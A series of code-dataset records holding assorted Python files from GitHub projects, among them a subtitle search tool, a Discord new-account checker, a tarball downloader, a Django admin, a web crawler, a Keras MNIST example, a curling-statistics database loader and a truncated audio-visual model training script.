self.oi.killByEvent(events)\r\n","repo_name":"shinoairisu/Typing-Game","sub_path":"TypewritingGame/t2sceneGame.py","file_name":"t2sceneGame.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13181273447","text":"\"\"\"\npython script to search for a string in a subtitle file\nand output the in and out times of the found occurrances\nwrite a XML snippet to be pasted into a shotcut .mlt\n\"\"\"\n\nimport argparse\nimport re\nimport srt\nimport sys\nimport pandas\n\nCRED = '\\033[91m'\nCEND = '\\033[0m'\n\ndef main():\n \"\"\"Parsing arguments and generating an XML file.\"\"\"\n parser = argparse.ArgumentParser(prog=\"find_word\",\n description=\"Searching for strings in a subtitle file and generating an edit decision list\")\n\n parser.add_argument(\"-i\", \"--inputfile\", help=\"input .srt file\", required=True)\n parser.add_argument(\"-o\", \"--outputfile\", help=\"output .xml file\")\n parser.add_argument(\"-w\", \"--word\", help=\"search for word(s)\", required=True)\n parser.add_argument(\"-c\",\n \"--cut\",\n action=\"store_true\",\n help=\"Automatically cutting the video file. (input video file, output video file)\")\n parser.add_argument(\"-v\", \"--verbose\", action='store_true', help=\"verbose mode\")\n\n args = parser.parse_args()\n\n # Verbose mode\n if args.verbose:\n print('Reading subtitle .srt file', CRED + args.inputfile + CEND)\n if args.outputfile is not None:\n print('Output .XML file is', CRED + args.outputfile + CEND)\n print('Search word(s) is/are', CRED + args.word + CEND)\n if args.cut is not None:\n print(args.cut)\n\n subtitle = open(args.inputfile, \"r\")\n data = list(srt.parse(subtitle))\n\n cut_list = pandas.DataFrame(columns=['start', 'end', 'content'])\n if args.outputfile is not None:\n xml = open(args.outputfile, \"w\")\n\n for i in range(len(data)):\n if args.word in data[i].content:\n start = srt.timedelta_to_srt_timestamp(data[i].start)\n end = srt.timedelta_to_srt_timestamp(data[i].end)\n\n # Verbose mode\n if args.verbose:\n print(start, end)\n if args.outputfile is not None:\n start = re.sub(',', '.', start)\n end = re.sub(',', '.', end)\n xml.write('''\\n''' %(start, end))\n cut_list = cut_list.append({'start': start,\n 'end':end,\n 'content': data[i].content\n },\n ignore_index=True)\n\n if args.cut:\n cut_list.to_pickle(\"./cut_list.pkl\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"BauhausUniversity/cuttlefish","sub_path":"find_word/find_word.py","file_name":"find_word.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"18861310530","text":"from discord.ext import commands\nimport discord\nimport datetime\nimport json\n\n\n\nTOKEN = ''\n\nbot = commands.AutoShardedBot(command_prefix=\"!\")\n\nclass EmptyMemberError(Exception):\n pass\nclass NotMemberError(Exception):\n pass\n\ndef terror_checker(member: discord.Member=None):\n if member is None:\n raise EmptyMemberError(\"member 인자가 None 값일 수 없습니다.\")\n elif type(member) != discord.Member:\n raise NotMemberError(\"member 인자는 반드시 discord.Member 타입이어야 합니다.\")\n #a = member.joined_at - datetime.date.today()\n elif round((datetime.datetime.utcnow() - member.created_at).total_seconds()) < 600: #만약 계정을 만든지 10분이 지나지 않았다면\n return \"위험\"\n elif round((datetime.datetime.utcnow() - member.created_at).total_seconds()) > 600: #아니라면\n return \"통과\"\n else: #ㅅㅂ 모르겠다면\n return \"에러\"\n \n\n\n@bot.event\nasync def on_member_join(member):\n embed = discord.Embed(\n title = f\"{member} 님이 들어오셨습니다.\"\n )\n danger = terror_checker(member)\n if danger == \"위험\":\n embed.colour = discord.Colour.red()\n if danger == \"통과\":\n embed.colour = discord.Colour.green()\n if danger == \"에러\":\n embed.colour = discord.Colour.gold()\n embed.add_field(\n name=\"안전 여부\",\n value=danger\n )\n await bot.get_channel(690925568744620054).send(embed=embed)\n@bot.command()\nasync def test(ctx, member: discord.Member):\n await ctx.send(str((datetime.datetime.utcnow() - member.created_at).total_seconds()))\n\nbot.run(TOKEN)\n","repo_name":"jyman7811/terrorchecker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25301192119","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport logging\nimport shutil\nimport tarfile\nimport tempfile\nfrom pathlib import Path\n\nimport requests\n\nlogging.basicConfig(format=\"%(levelname)s - %(message)s\", level=logging.INFO)\nparser = argparse.ArgumentParser(description=\"Download things.\")\nparser.add_argument(\"url\", help=\"the url to download\")\nparser.add_argument(\"folder\", help=\"folder name to extract\")\nargs = parser.parse_args()\n\na = requests.get(args.url)\nlogging.info(\"Download Complete Extracting\")\nassert a.status_code != 404, \"Does not exist.\"\nwith tempfile.TemporaryDirectory() as tmpdirname:\n tmpdirname = Path(tmpdirname)\n fname = Path(args.url).name\n for i in tmpdirname.iterdir():\n print(i)\n with open(tmpdirname / fname, \"wb\") as f:\n logging.info(f\"Saving to {tmpdirname / fname}\")\n f.write(a.content)\n with tarfile.open(tmpdirname / fname, \"r\") as tar:\n logging.info(f\"Extracting {tmpdirname / fname} to {tmpdirname}\")\n tar.extractall(tmpdirname)\n logging.info(\n f\"Moving {str(tmpdirname / Path(Path(args.url).stem).stem)} \"\n f\"to {str(args.folder)}\"\n )\n shutil.move(\n str(tmpdirname / Path(Path(args.url).stem).stem),\n str(args.folder),\n )\n","repo_name":"ManimCommunity/ManimPango","sub_path":"packing/download_and_extract.py","file_name":"download_and_extract.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"67"} +{"seq_id":"72479444054","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom .forms import CustomUserChangeForm, CustomUserCreationForm\nfrom apps.accounts.models import User\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass MyAdmin(UserAdmin):\n # The forms to add and change user instances\n ordering = [\"email\"]\n form = CustomUserChangeForm\n add_form = CustomUserCreationForm\n model = User\n # readonly_fields = (\n # 'balance',\n # )\n # The fields to be used in displaying the User model.\n # These override the definitions on the base UserAdmin\n # that reference specific fields on auth.User.\n list_display = ('username', 'email', 'date_joined', 'is_staff', 'is_agent', 'is_active',)\n list_display_links = [\"username\"]\n list_filter = ('email', 'full_name', 'is_staff', 'date_joined',)\n fieldsets = (\n (\n _(\"Login Credentials\"),\n {'fields': ('email', 'password',)}\n ),\n (\n _('Personal info'), {'fields': ('username', 'full_name', 'phone',)}\n ),\n (\n _('Permissions and Groups'),\n {\n 'fields': ('is_active', 'is_agent', 'is_staff', 'is_superuser', 'groups', 'user_permissions')\n }\n ),\n (\n _(\"Important Dates\"),\n {\n 'fields': ('last_login', 'date_joined')\n }\n ),\n )\n # overrides get_fieldsets to use this attribute when creating a user.\n add_fieldsets = (\n (None, {\n 'classes': ('wide',),\n 'fields': ('username', 'email', 'full_name', 'phone', 'password', 'password2', 'is_staff', 'is_active')}\n ),\n )\n search_fields = ('username', 'email', 'full_name', 'phone',)\n filter_horizontal = ()\n\n\n# Now register the new UserAdmin...\nadmin.site.register(User, MyAdmin)\n","repo_name":"GeoSegun/PropertyDealsIn9ja","sub_path":"apps/accounts/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"9536110874","text":"from typing import List\n\nfrom bs4 import PageElement\n\nfrom crawler import BaseCrawler\nfrom services import convert_comma_to_number\nfrom services.logger_service import app_logger\n\n\nclass TokenRow:\n def __init__(\n self,\n rank: str,\n img_url: str,\n name: str,\n symbol: str,\n price: str,\n one_hour: str,\n one_day: str,\n seven_days: str,\n market_cap: str,\n fiat_volume: str,\n volume: str,\n supply: str,\n ):\n self.rank = rank\n self.img_url = img_url\n self.name = name\n self.symbol = symbol\n self.price = price\n self.one_hour = one_hour\n self.one_day = one_day\n self.seven_days = seven_days\n self.market_cap = market_cap\n self.fiat_volume = fiat_volume\n self.volume = volume\n self.supply = supply\n\n\nclass TokenListCrawler(BaseCrawler):\n BASE_URL = \"https://coinmarketcap.com\"\n\n def __init__(self, page: int = 1):\n super().__init__(f\"{TokenListCrawler.BASE_URL}?page={page}\")\n self.rows = self.base_soup.find(\"table\").find(\"tbody\").find_all(\"tr\")\n self.tokens: List[TokenRow] = []\n for row in self.rows:\n try:\n self.tokens.append(self._extract_row(row))\n except:\n app_logger.error(\"Something wrong\")\n\n def _extract_rank_cell(self, rank_content: PageElement):\n cell_soup = self.get_soup(str(rank_content))\n print(cell_soup)\n rank = cell_soup.find(\"p\").text\n return rank\n\n def _extract_name_cell(self, name_content: PageElement):\n cell_soup = self.get_soup(str(name_content))\n img_url = cell_soup.find(\"img\").attrs[\"src\"]\n text_data = cell_soup.find_all(\"p\")\n return {\n \"image\": img_url,\n \"name\": text_data[0].text.lower(),\n \"symbol\": text_data[1].text.lower(),\n }\n\n def _extract_price_cell(self, price_content: PageElement):\n cell_soup = self.get_soup(str(price_content))\n text_data = cell_soup.find(\"span\").text\n return convert_comma_to_number(text_data[1:])\n\n def _extract_percent_cell(self, percent_content: PageElement):\n cell_soup = self.get_soup(str(percent_content))\n text_data = cell_soup.find(\"span\").text\n _len = len(text_data)\n return text_data[0 : _len - 1]\n\n def _extract_volume_cell(self, volume_content: PageElement):\n cell_soup = self.get_soup(str(volume_content))\n text_data = cell_soup.find_all(\"p\")\n fiat_data = text_data[0].text\n real_data = text_data[1].text.split(\" \")\n return {\n \"fiat\": convert_comma_to_number(fiat_data[1:]),\n \"real\": convert_comma_to_number(real_data[0]),\n }\n\n def _extract_supply_cell(self, supply_content: PageElement):\n cell_soup = self.get_soup(str(supply_content))\n text_data = cell_soup.find(\"p\").text.split(\" \")\n return convert_comma_to_number(text_data[0])\n\n def _extract_row(self, row_content: PageElement) -> TokenRow:\n row_soup = self.get_soup(str(row_content))\n cells = row_soup.find_all(\"td\")\n rank = self._extract_rank_cell(cells[1])\n name = self._extract_name_cell(cells[2])\n price = self._extract_price_cell(cells[3])\n one_hour = self._extract_percent_cell(cells[4])\n one_day = self._extract_percent_cell(cells[5])\n seven_days = self._extract_percent_cell(cells[6])\n market_cap = self._extract_price_cell(cells[7])\n volume = self._extract_volume_cell(cells[8])\n supply = self._extract_supply_cell(cells[9])\n return TokenRow(\n rank=rank,\n img_url=name[\"image\"],\n name=name[\"name\"],\n symbol=name[\"symbol\"],\n price=price,\n one_hour=one_hour,\n one_day=one_day,\n seven_days=seven_days,\n market_cap=market_cap,\n fiat_volume=volume[\"fiat\"],\n volume=volume[\"real\"],\n supply=supply,\n )\n","repo_name":"phamhongphuc1999/UserAPI","sub_path":"mongo-cluster/crawler/token_list_crawler.py","file_name":"token_list_crawler.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15355059694","text":"#James Oswald 5/23/21\n#See part3WithComments.py for a real in depth walkthrough \n\nimport tensorflow as tf\nfrom tensorflow import keras \nfrom tensorflow.keras.datasets import mnist \nfrom tensorflow.keras.layers import Dense, Input\n\n#Data loading and processing\n(trainingImages, trainingLabels), (testingImages, testingLabels) = mnist.load_data()\ncategoricalTrainingLabels = keras.utils.to_categorical(trainingLabels, 10)\ncategoricalTestingLabels = keras.utils.to_categorical(testingLabels, 10)\nflatTrainingImages = tf.reshape(trainingImages, shape=[-1, 784])\nflatTestingImages = tf.reshape(testingImages, shape=[-1, 784])\n\n#Model Creation\nmodel = keras.Sequential([\n Input(784), \n Dense(30, \"sigmoid\"), \n Dense(10, \"sigmoid\")\n])\nmodel.compile(loss=\"MSE\", optimizer=\"SGD\", metrics=[\"accuracy\"])\n\n#model training and testing \nmodel.fit(flatTrainingImages, categoricalTrainingLabels, 30, 10)\nscore = model.evaluate(flatTestingImages, categoricalTestingLabels)\nprint(\"Testing Accuracy: %\" + str(100*score[1]))","repo_name":"James-Oswald/UAlbany-KDD-Cup-HW-Examples","sub_path":"part3.py","file_name":"part3.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"38159429848","text":"#!/usr/bin/env python\n\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThis script goes through all the xml and .png files in data (or data/ if an event\nname is given on the command line) \nOn completion of running this script, the database should be populated with all\nthe contents of the data directory.\n\nTo facilitate adding new events (and for testing) a single-event mode is\navailable by specifying a short name on the command line.\n\nUsage: python populate_db.py (short_name)\n short_name is the optionally specified short name of an event, for single\nevent mode.\n\n\"\"\"\nimport database_functions as db\nfrom datetime import datetime\nimport pdf_parsing_functions as pf\nimport glob\nimport sys\nimport os\nimport xml.etree.ElementTree as ET\n\n\n#Get the current working directory, so we can go back up to it later.\nworking_directory = os.getcwd()\n\n#Where we want to look for the data (nominally the data/ directory).\nstarting_directory = \"data/\"\n\n#Change directory to the starting directory.\nos.chdir(starting_directory)\n\n#If one event short name was supplied on the command line, put that in our\n#short names list. Otherwise, pull up the list of short names with glob.\n#NB: We will sort all glob.glob output, because this should give us an order\n#that makes some sense, which helps during testing.\nshort_names = []\n\nif len(sys.argv) > 1:\n short_names.append(sys.argv[1])\n\nelse:\n short_names = glob.glob(\"*\")\n short_names = sorted(short_names)\n\n#We'll build the database by going through the directory tree. \n\n\n#Loop over the short names of each of the events to loop over the events.\nfor event in short_names:\n\n #These are the variables we must set for each event that go into the\n #database.\n #id: ID number of this event, the primary key.\n #name_short: The abbreviation for this event's name.\n #start_date: The start date of this event.\n #end_date: The end date of this event.\n #NB: The last 2 require input from the shot by shot summary files to\n # fill.\n #start_date and end_date should be taken by finding the extrema of the\n #game start dates for this event.\n #So write out the event to the database as soon as pull the information from the\n #PDF file, and update it with start and end date before moving on to the\n #next event.\n event_id = db.get_next_id(\"events\")\n event_name = event\n event_start_date = \"\"\n event_start_datetime = datetime.max #Since use less than comparison of game\n #dates to set this value.\n event_end_date = \"\"\n event_end_datetime = datetime.min #Since use greater than comparison of game\n #dates to set this value.\n\n #Since we now have enough information to create this event entry, do so.\n c = \"\"\"\n INSERT INTO events (\n id, \n name)\n VALUES (\n \"{}\",\n \"{}\");\n \"\"\"\n db.run_command(c.format(event_id, event_name))\n\n\n #Next directory level is type. Change directory to this event's directory,\n #then use glob to grab.\n os.chdir(event)\n game_types = glob.glob(\"*\")\n game_types = sorted(game_types)\n for gt in game_types:\n\n #Change to the game type directory in question.\n os.chdir(gt)\n\n #The game_type for saving to the database (in the games table) is\n #either \"Men\" or \"Women\" (at least at this point), so convert gt to\n #that.\n game_type = \"\"\n if gt == \"Men\\'s_Teams\":\n game_type = \"Men\"\n elif gt == \"Women\\'s_Teams\":\n game_type = \"Women\"\n else:\n game_type = \"Unknown\"\n\n\n #The rest of the information we need can be taken directly from the\n #shot-by-shot summary files. So descend down to that directory level\n #and loop through those.\n session_names = glob.glob(\"*\")\n session_names = sorted(session_names)\n for session in session_names:\n \n #Change to the session directory, and pull up the list of xml files we\n #will pull information from.\n os.chdir(session)\n xml_files = glob.glob(\"*.xml\")\n xml_files = sorted(xml_files)\n\n #Add in a print statement so we know that something is\n #happening.\n print(\"Processing: \" + event + \" \" + session)\n\n #Loop over the xml files, and pull out the information we need.\n for gf in xml_files:\n\n #This is the list of variables we need to write to the\n #database in the \"games\" table:\n game_id = db.get_next_id(\"games\")\n \n #We also write the current event_id values.\n #We already extracted the game_type above.\n \n #The session is everything after the last \"~\" in the directory\n #name\n game_session = session[session.rindex(\"~\") + 1:]\n \n #The rest of these come from the PDF file.\n game_red = \"\"\n game_yellow = \"\"\n game_red_score = 0\n game_yellow_score = 0\n name_and_sheet = {}\n date_and_time = {}\n first_shot_color = \"\"\n team_to_color = {}\n color_to_team = {}\n\n\n #Loop through the xml file. Each individual page corresponds\n #to an end.\n tree = ET.parse(gf)\n pages = tree.getroot()\n for ip in range(len(pages)):\n\n #If it's the first page, extract the game wide information\n #that can from there.\n #Get the image list on every page, as we need that for the\n #shot-by-shot information, and the end information that\n #needs to be extracted from the shot information.\n image_list = pf.get_image_list(pages[ip])\n if ip == 0:\n name_and_sheet = pf.get_name_and_sheet(pages[ip])\n date_and_time = pf.get_date_and_time(pages[ip])\n\n #At this point we have all the information we need to\n #create a basic entry for this game in the database.\n #As with the event table, the data is not complete at\n #this point, but we have to create an entry so we can\n #create the ends, shots, and stone_positions tables.\n c = \"\"\"\n INSERT INTO games (\n id,\n event_id,\n session,\n name,\n sheet,\n type,\n start_date,\n start_time)\n VALUES (\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\");\n \"\"\"\n db.run_command(c.format(game_id, event_id, session,\n name_and_sheet[\"name\"], name_and_sheet[\"sheet\"],\n game_type, date_and_time[\"date\"],\n date_and_time[\"time\"]))\n\n #Also compare the date of this event to the stored\n #event start and end dates, so can establish the date\n #bounds of the event for writing to the event table. \n curr_datetime = datetime.strptime(date_and_time[\"date\"], \"%a %d %b %Y\")\n\n if(curr_datetime < event_start_datetime):\n event_start_datetime = curr_datetime\n event_start_date = date_and_time[\"date\"]\n\n if(curr_datetime > event_end_datetime):\n event_end_datetime = curr_datetime\n event_end_date = date_and_time[\"date\"]\n\n #Each page corresponds to an end. So get out the\n #information we need to start the end entry.\n end_id = db.get_next_id(\"ends\")\n \n #The end number is just the page number (page index plus\n #one)\n end_number = ip + 1\n\n #The rest of the information we need to look at the shots\n #at, so create the ends table entries now an update them\n #later with shot information.\n c = \"\"\"\n INSERT INTO ends(\n id,\n game_id,\n number)\n VALUES(\n \"{}\",\n \"{}\",\n \"{}\");\n \"\"\"\n db.run_command(c.format(end_id, game_id, end_number))\n\n #Now, loop through the list of images to extract shot by\n #shot data.\n #Store the previous maximum element index in the loop\n #through the elements in the page for each shot, so that we\n #don't have to waste time looping over elements we've\n #already considered.\n prev_max_elt_index = 0\n \n #Use the first shot color to get the color with the hammer\n #(the other color), and the direction of play.\n color_hammer = \"\"\n direction_of_play = \"\"\n for si in range(len(image_list)):\n \n #First, get a new shot_id for this shot.\n shot_id = db.get_next_id(\"shots\")\n\n #Convert the shot index to shot number.\n shot_number = si + 1\n\n\n #Next, get the rock positions as a dataframe by\n #passing the image path to the get_rock_positions\n #function.\n #This function takes the path to the image, which is in\n #the \"src\" attribute of this element.\n stone_df = pf.get_rock_positions(image_list[si].attrib[\"src\"])\n\n #Now, if it's the first shot, extract the direction of\n #play, get the first shot color too. \n if si == 0:\n direction_of_play = pf.get_direction_of_play(stone_df)\n first_shot_color = pf.get_1st_shot_color(stone_df)\n\n #The team with the hammer is the team color that\n #does not.\n if first_shot_color == \"red\":\n color_hammer = \"yellow\"\n elif first_shot_color == \"yellow\":\n color_hammer = \"red\"\n else:\n color_hammer = \"error_color\"\n\n bool_dir_of_play = 0\n if direction_of_play == \"up\":\n bool_dir_of_play = 1\n\n #Update the end table with the hammer color and the\n #direction of play.\n c = \"\"\"\n UPDATE ends\n SET direction = \"{}\", color_hammer = \"{}\"\n WHERE id = \"{}\";\n \"\"\"\n db.run_command(c.format(bool_dir_of_play, color_hammer, end_id))\n \n \n\n \n #Now that we have the direction of play and the color\n #of the first shot, standardize to one coordinate\n #system and clean out all but the stones in play.\n stone_positions = pf.clean_rock_positions(stone_df,\n direction_of_play)\n\n #Now, get the data for this shot.\n shot_data = pf.get_shot_data(pages[ip], si + 1,\n image_list, prev_max_elt_index)\n\n #If this is the first shot of the first end, use this\n #information to map team to shot color.\n if (si == 0) and (ip == 0):\n team_to_color[shot_data[\"team\"]] = first_shot_color\n \n\n #If it's the second shot of the first end, fill in the\n #other team's name and shot color (i.e. color_hammer)\n elif (si == 1) and (ip == 0):\n team_to_color[shot_data[\"team\"]] = color_hammer\n\n #Now fill the color_to_team variable, for easy\n #conversion the other way.\n for elt in team_to_color.items():\n color_to_team[elt[1]] = elt[0]\n\n\n #At this point we have the information we need to\n #update this game's database entry with the team\n #names.\n c = \"\"\"\n UPDATE games\n SET team_red = \"{}\", team_yellow = \"{}\"\n WHERE id = \"{}\";\n \"\"\"\n db.run_command(c.format(color_to_team[\"red\"],\n color_to_team[\"yellow\"], game_id))\n\n\n\n #Extract the maximum element index for use in the next\n #shot.\n prev_max_elt_index = shot_data[\"max_elt_index\"]\n\n #At this point we should have all the shot data we need\n #to assemble a full record. Do so now.\n c = \"\"\"\n INSERT INTO shots (\n id,\n end_id,\n number,\n color,\n team,\n player_name,\n type,\n turn,\n percent_score)\n VALUES (\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\");\n \"\"\"\n db.run_command(c.format(shot_id,\n end_id, \n shot_number,\n team_to_color[shot_data[\"team\"]],\n shot_data[\"team\"],\n shot_data[\"player_name\"],\n shot_data[\"type\"],\n shot_data[\"turn\"],\n shot_data[\"percent_score\"]))\n\n #Now that there is an entry for the shot data, we can\n #write out the stone positions for this shot.\n #stone_positions already contains all the data for this\n #shot, so we just need to iterate over it and write\n #each row to the database.\n for sp_index, sp_row in stone_positions.iterrows():\n stone_id = db.get_next_id(\"stone_positions\")\n\n c = \"\"\"\n INSERT INTO stone_positions(\n id,\n shot_id,\n color,\n x,\n y)\n VALUES (\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\",\n \"{}\");\n \"\"\"\n db.run_command(c.format(stone_id,\n shot_id,\n sp_row[\"color\"],\n sp_row[\"x\"],\n sp_row[\"y\"]))\n \n\n #On every page we need to extract the score and the time\n #left.\n score_and_time = pf.get_score_and_time(pages[ip], \n prev_max_elt_index)\n\n\n #Only deal with the score and time remaining if the box is\n #present (the score_and_time variable is not None.\n if(score_and_time is not None):\n \n #Fill score and time remaining for the end.\n c = \"\"\"\n UPDATE ends\n SET score_red = \"{}\", score_yellow = \"{}\",\n time_left_red = \"{}\", time_left_yellow = \"{}\"\n WHERE id = \"{}\"\n \"\"\"\n db.run_command(c.format(score_and_time[\"score\"][color_to_team[\"red\"]],\n score_and_time[\"score\"][color_to_team[\"yellow\"]],\n score_and_time[\"time_left\"][color_to_team[\"red\"]],\n score_and_time[\"time_left\"][color_to_team[\"yellow\"]],\n end_id))\n\n\n #If it's the last page, fill the final score variable\n #and write it to the database.\n if ip == len(pages) - 1:\n game_red_score = score_and_time[\"score\"][color_to_team[\"red\"]]\n game_yellow_score = score_and_time[\"score\"][color_to_team[\"yellow\"]]\n c = \"\"\"\n UPDATE games\n SET final_score_red = \"{}\", final_score_yellow = \"{}\"\n WHERE id = \"{}\";\n \"\"\"\n db.run_command(c.format(game_red_score,\n game_yellow_score, game_id))\n\n\n\n \n\n\n #Now that we're done with the session, go up one level so we can\n #continue to the next session.\n os.chdir(\"..\")\n\n #Now that we've gone through all the session, go up one level to the\n #game types directory.\n os.chdir(\"..\")\n\n\n #Now that we've gone through all the game types, go up one level so we can\n #pull the next event.\n os.chdir(\"..\")\n\n #Update the event entry with the start and end dates before proceeding to\n #the next event.\n c = \"\"\"\n UPDATE events\n SET start_date = \"{}\", end_date = \"{}\"\n WHERE id = \"{}\";\n \"\"\"\n db.run_command(c.format(event_start_date, event_end_date, event_id))\n\n","repo_name":"jwmyslik/curling-analytics","sub_path":"populate_db.py","file_name":"populate_db.py","file_ext":"py","file_size_in_byte":19220,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"11618127833","text":"import os\nimport click\nfrom mars_rover import app\n\n\n@click.command()\n@click.option('--filename', help='Input file.')\ndef cli(filename):\n if os.path.exists(filename):\n app.main(filename)\n else:\n print('file does not exist.')\n\n","repo_name":"ketulsuthar/mars-rover-assessment","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27244614970","text":"import FWCore.ParameterSet.Config as cms\n\nurSkimmedElectrons = cms.EDFilter(\n \"PATElectronSelector\",\n src = cms.InputTag(\"fixme\"),\n cut = cms.string('pt > 15 && (abs(eta) < 2.5 || abs(superCluster().eta()) < 2.5)')\n)\ncustomElectrons = cms.Sequence(\n urSkimmedElectrons\n)\n\n#trigger match\nfrom URNtuples.PATTools.objects.trigger import trigger_paths, matchtemplate\n\nmatchers = []\nelpaths = [i for i in trigger_paths if 'Ele' in i]\nfor path in elpaths:\n matcher_name = 'matchElectrons%s' % path.replace('_','')\n matchers.append(matcher_name)\n globals()[matcher_name] = matchtemplate.clone(\n src = cms.InputTag('urSkimmedElectrons'),\n matchedCuts = cms.string('path(\"HLT_%s_v*\") || type(\"TriggerElectron\")' % path)\n )\n #:print matcher_name, globals()[matcher_name].matchedCuts\n customElectrons *= globals()[matcher_name]\n\n\nelectronIpInfo = cms.EDProducer(\n 'PATElectronIpEmbedder',\n src = cms.InputTag('urSkimmedElectrons'),\n vtxSrc = cms.InputTag('fixme'),\n #ensure we do not chain it as it makes\n #a ValueMap\n noSeqChain = cms.bool(True),\n)\ncustomElectrons *= electronIpInfo\n\nurElectrons = cms.EDProducer(\n 'PATElectronsEmbedder',\n src = cms.InputTag('electronIpInfo'),\n trigMatches = cms.VInputTag(\n cms.InputTag(i) for i in matchers\n ),\n trigPaths = cms.vstring(\n elpaths\n ),\n floatMaps = cms.PSet(\n ipDXY = cms.InputTag(\"electronIpInfo:ipDXY\"),\n dz\t = cms.InputTag(\"electronIpInfo:dz\"\t ),\n vz\t = cms.InputTag(\"electronIpInfo:vz\"\t ),\n ip3D = cms.InputTag(\"electronIpInfo:ip3D\" ),\n ip3DS = cms.InputTag(\"electronIpInfo:ip3DS\"),\n missingInnerHits = cms.InputTag(\"electronIpInfo:missingInnerHits\"),\n ),\n\t shiftNames = cms.vstring(),\n\t shiftedCollections = cms.VInputTag()\n)\ncustomElectrons *= urElectrons\n\n","repo_name":"mverzett/URNtuples","sub_path":"PATTools/python/objects/electrons.py","file_name":"electrons.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70117132694","text":"# # importing the required module\n# import matplotlib.pyplot as plt\n \n# # x axis values\n# x = range(1,10)\n\nx2 = range(1,10)\ny2 = [1,4,2,3,7,5,1,9,6]\n# corresponding y axis values\ny = range(1,10)\n \n# # plotting the points \n# plt.plot(x, y, label='Average')\n# plt.plot(x2,y2,label='Best')\n# # naming the x axis\n# plt.xlabel('x - axis')\n# # naming the y axis\n# plt.ylabel('y - axis')\n \n# # giving a title to my graph\n# plt.title('My first graph!')\n \n# # function to show the plot\n# plt.legend(loc='upper left')\n# plt.show()\n\nfrom matplotlib import pyplot as plt\n\nplt.figure(\"Welcome to figure 1\")\nplt.plot(x2,y2)\nplt.figure(\"Welcome to figure 2\")\nplt.plot([11, 13, 41])\n\nplt.show()","repo_name":"cliff-burchfield/science-project","sub_path":"graphtest.py","file_name":"graphtest.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28413826014","text":"import sys\n\nsys.path.append('./model/model/')\nimport AV_model as AV\nfrom option import ModelMGPU, latest_file\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler, Callback\nfrom keras.models import Model, load_model\nfrom data_load import AVGenerator\nfrom keras.callbacks import TensorBoard\nfrom keras import optimizers\nimport os\nfrom loss import audio_discriminate_original as audio_loss_original\nfrom loss import audio_discriminate_loss2 as audio_loss\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nfrom keras import backend as K\n\n# Resume Model\nresume_state = False\ntf.compat.v1.enable_eager_execution()\ntf.config.experimental_run_functions_eagerly(True)\n\n# Parameters\npeople_num = 2\nepochs = 1\ninitial_epoch = 0\nbatch_size = 1\ngamma_loss = 0.1\nbeta_loss = gamma_loss * 2\n\n# Accelerate Training Process\nworkers = 8\nMultiProcess = True\nNUM_GPU = 0\n\n# PATH\nmodel_path = './saved_AV_models' # model path\nchkpt_path = './tf_ckpts'\ndatabase_path = 'data/'\n\n# create folder to save models\nfolder = os.path.exists(model_path)\nif not folder:\n os.makedirs(model_path)\n print('create folder to save models')\n\nfolder = os.path.exists(chkpt_path)\nif not folder:\n os.makedirs(chkpt_path)\n print('create folder to save checkpoints')\nfilepath = model_path + \"/AVmodel-\" + str(people_num) + \"p-{epoch:03d}-{val_loss:.5f}.h5\"\n# checkpoint = ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True, mode='min')\n\n# checkpoint = ModelCheckpoint(filepath, save_freq='epoch')\n# checkpoint = ModelCheckpoint(filepath, monitor='val_loss', verbose=0, save_best_only=False, save_weights_only=False, mode='auto', save_freq='epoch')\n\n# format: mix.npy single.npy single.npy\ntrainfile = []\nvalfile = []\n\nwith open((database_path + 'AVdataset_train.txt'), 'r') as t:\n trainfile = t.readlines()\nwith open((database_path + 'AVdataset_val.txt'), 'r') as v:\n valfile = v.readlines()\n\n# the training steps\nif resume_state:\n if NUM_GPU > 1:\n latest_file = latest_file(model_path + '/')\n AV_model = load_model(latest_file, custom_objects={\"tf\": tf, 'loss': audio_loss_original(batch_size=batch_size, people_num=people_num)})\n # K.set_value(AV_model.optimizer.learning_rate, 0.00003)\n else:\n latest_file = latest_file(model_path + '/')\n AV_model = load_model(latest_file, custom_objects={\"tf\": tf, 'loss': audio_loss_original(batch_size=batch_size, people_num=people_num)})\n # K.set_value(AV_model.optimizer.learning_rate, 0.00003)\nelse:\n if NUM_GPU > 1:\n with tf.device('/cpu:0'):\n AV_model = AV.AV_model(people_num)\n parallel_model = 